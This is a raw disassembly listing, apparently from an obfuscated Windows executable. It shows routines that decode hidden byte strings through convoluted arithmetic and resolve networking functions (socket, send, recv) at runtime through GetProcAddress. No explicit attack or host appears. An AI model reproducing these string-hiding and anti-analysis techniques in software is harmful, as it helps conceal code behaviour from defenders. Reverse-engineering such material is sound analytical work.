jmp 0x140070222
sub r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x55
mov byte [rbp + rsi + 0x140], dil
inc rsi
jmp 0x140070222
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x67
cmp r8, 0x61
jb 0x140070603
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
mov edx, listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x140070b58
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x75
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x140070aa6
lea rdx, [r8 + 1]
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400708e6
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5b
lea rcx, [r8 + 2]
lea r9, [r8 + 3]
cmp rbx, 0x20
jae 0x140070a84
cmp rbx, rcx
jbe 0x1400709b7
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1e
jmp 0x140070629
add r10b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140070222
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140070c00
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140070ab7
sub r10b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140070bc1
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140070b9f
sub r10b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
dec rsi
inc rsi
jmp 0x140070222
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x10
inc r8
dec rsi
inc rsi
jmp 0x140070222
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
jmp 0x140070b58
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14007080c
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x77
jmp 0x140070665
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140070846
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140070222
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007086c
sub r10b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x74
jmp 0x140070c00
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140070892
add r10b, 0x52
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x3e
jmp 0x140070bc1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400708b6
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
jmp 0x140070b9f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140070665
sub r10b, 0x6a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x1a
dec rsi
inc rsi
jmp 0x140070222
cmp rbx, rdx
jne 0x140070906
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x49
jmp 0x140070b58
lea rcx, [r8 + 2]
cmp rbx, rcx
jne 0x140070932
add r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x25
dec rsi
inc rsi
jmp 0x140070222
lea r9, [r8 + 3]
cmp rbx, r9
jne 0x140070956
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x13
jmp 0x140070b9f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007097c
sub r10b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x11
jmp 0x140070bc4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400706a4
add r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x47
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140070222
cmp rbx, rdx
jne 0x1400709ea
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0xc
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140070222
cmp rbx, rcx
jne 0x140070a0e
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140070ab7
cmp rbx, r9
jne 0x140070a33
sub r10b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140070bc4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140070a5c
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140070bc1
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140070629
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
jmp 0x140070b58
lea edx, [r10 - 0x18]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x58
add dil, r11b
add dil, dl
jmp 0x140070b9f
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [rcx - 0x46]
add r10b, 0x1b
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x43
add cl, r10b
movzx eax, cl
mov byte [rbp + rsi + 0x140], al
inc r8
add rax, r8
sub rsi, rax
jmp 0x140070c00
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7b
jmp 0x140070b9f
sub r10b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x73
dec rsi
inc rsi
jmp 0x140070222
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x4f
jmp 0x140070b58
movzx r10d, sil
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x2b
sub r10b, 0x29
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x1f
add r11b, r10b
mov byte [rbp + rsi + 0x140], r11b
inc r8
dec rsi
inc rsi
jmp 0x140070222
movzx r10d, sil
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xb
sub r10b, 7
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x31
add r11b, dil
add r11b, r10b
mov byte [rbp + rsi + 0x140], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140070222
movabs rdx, 0xd1903791a42f0e55
add rdx, rsi
movzx eax, dl
and al, r9b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x53
add dil, dl
lea ecx, [rsi + 0x2c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, cl
mov byte [rbp + rsi + 0x140], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140070222
lea rax, [rsi + r13]
and r9b, al
add r9b, r9b
sub r11b, r9b
lea edi, [rax + r11]
sub dil, 0x65
movzx eax, byte [rbp + rsi + 0x140]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140070222
sub r10b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x2d
jmp 0x140070220
sub r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x1b
jmp 0x140070210
lea rdx, [rbp + 0x16c54ac]
jmp 0x140070cc1
lea rdx, [rbp + 0x1028abd]
jmp 0x140070cc1
lea rdx, [rbp + 0x140]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
mov byte [rbp + 0x160], 0xcb
mov byte [rbp + 0x161], 0xe1
mov byte [rbp + 0x162], 0xed
mov byte [rbp + 0x163], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x164], 0xfb
mov byte [rbp + 0x165], 0xec
mov byte [rbp + 0x166], 0xe0
mov byte [rbp + 0x167], 0xeb
mov byte [rbp + 0x168], 0xe7
mov byte [rbp + 0x169], 0x1e
mov byte [rbp + 0x16a], __WSAFDIsSet
xor eax, eax
mov qword [rbp + 0x16b], rax
mov word [rbp + 0x173], ax
mov byte [rbp + 0x175], al
movabs r14, 0xbe79914032c00b14
movabs r13, 0x3552f8c163404d8c
movabs r15, 0x3b6cb3c09840213c
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x14007193b
movzx r10d, byte [rbp + r11 + 0x160]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007192f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140070dbc
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x74
jmp 0x140070df6
je 0x1400718b7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140071828
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400717f6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400717d2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007178b
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140071926
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140070e2a
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x140070e70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007176f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140071746
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140071729
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007170a
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400716db
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400713c3
nop dword [rax]
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400713a8
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140071382
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007135f
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007147b
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007133f
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007131f
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140071300
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400712e0
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400712ae
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140070e80
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140071906
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400718e6
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007106a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007104b
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140071030
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140071265
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007121c
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400711e0
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400711b8
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140070e80
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140071189
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007116c
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140071151
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140071134
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140071117
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400710f8
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400710d2
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400710a9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007108a
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140070e80
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 8]
jmp 0x140070e80
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140070e70
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140070e00
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140070d90
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400717a5
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140070d73
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140070d73
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071698
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14007180c
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x14007180f
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x140071844
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x140071872
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
mov byte [rbp + r11 + 0x160], dil
inc r11
jmp 0x140070d73
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
cmp r8, 4
jb 0x1400711d0
lea ecx, [r9 - 8]
movzx eax, cl
and al, r10b
mov edx, 0x1c
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400717a5
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
cmp rbx, 0x7a
jae 0x14007167f
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14007159a
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400711f6
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x1400716bf
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x1400714c2
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x140071232
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071872
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071844
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007180f
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007180c
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
dec r11
inc r11
jmp 0x140070d73
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140070d73
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x1400717a5
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x1400713eb
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007127b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071426
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007144c
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007180f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071472
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x14007180c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071496
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140071698
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007127b
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400717a5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400714e6
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x1400717a5
cmp rbx, rcx
jne 0x140071511
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140070d73
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007153a
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007180c
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007155e
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140071844
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140071232
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400715d5
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400715fb
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140071872
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071621
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x14007180c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140071653
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140070d73
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400711f6
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400717a5
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x34
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x160], r10b
jmp 0x14007180c
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140071844
add r9b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x54
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
lea edx, [r9 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x24
add dil, dl
jmp 0x140071844
sub r9b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
jmp 0x14007180f
sub r9b, 0xc
movzx eax, r10b
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140070d73
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400717a5
movzx r9d, r11b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
add r9b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, r9b
mov byte [rbp + r11 + 0x160], r10b
inc r8
dec r11
inc r11
jmp 0x140070d73
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
inc r8
dec r11
inc r11
jmp 0x140070d73
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140070d73
lea rcx, [r11 + r13]
and sil, cl
mov eax, socket
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
add r9b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x160], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x10
add r10b, cl
mov byte [rbp + r11 + 0x160], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
lea rcx, [r11 + r15]
and sil, cl
mov eax, 0x2e
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x160]
add rax, r8
add r11, rax
inc r11
jmp 0x140070d73
add r9b, 0x64
movzx eax, r10b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140070d70
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140070d56
lea rdx, [rbp + 0x14772d0]
jmp 0x140071942
lea rdx, [rbp + 0xc77de4]
jmp 0x140071942
lea rdx, [rbp + 0x160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x380], WSAGetLastError
mov byte [rbp + 0x381], 0x7e
mov byte [rbp + 0x382], 0x8c
mov byte [rbp + 0x383], WSAGetLastError
mov byte [rbp + 0x384], 0x79
mov byte [rbp + 0x385], 0x8b
mov byte [rbp + 0x386], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x387], 0x8e
mov byte [rbp + 0x388], 0x87
mov byte [rbp + 0x389], 0x55
mov byte [rbp + 0x38a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x38b], 0x86
mov byte [rbp + 0x38c], 0x8a
mov byte [rbp + 0x38d], __WSAFDIsSet
mov byte [rbp + 0x38e], 0x67
mov byte [rbp + 0x38f], 0x9c
mov byte [rbp + 0x390], 0x45
mov byte [rbp + 0x391], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x392], WSAStartup
mov byte [rbp + 0x393], 0x68
mov byte [rbp + 0x394], __WSAFDIsSet
mov byte [rbp + 0x395], 0x66
mov byte [rbp + 0x396], 0x90
mov byte [rbp + 0x397], __WSAFDIsSet
mov byte [rbp + 0x398], select
xor eax, eax
mov qword [rbp + 0x399], rax
mov word [rbp + 0x3a1], ax
movabs r14, 0x3e0689ed6b3dde03
movabs r13, 0x3620b1a31835560f
movabs r15, 0xba139dc841b99a09
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x23
jae 0x1400722cf
movzx r11d, byte [rbp + r10 + 0x380]
mov esi, r11d
nop dword [rax]
cmp rbx, r10
ja 0x1400722c3
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x140071a90
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x15
lea rcx, [r8 + 2]
jmp 0x140071ac0
je 0x140072271
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x140072215
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400721e3
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400721c2
nop dword [rax]
